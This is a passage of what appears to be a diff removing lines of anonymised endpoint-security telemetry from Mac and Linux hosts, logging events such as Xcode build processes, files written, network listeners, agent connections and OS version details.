6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
-{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
-{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
-{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
-{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
-{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
-{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
-{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
-{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
-{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
-{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
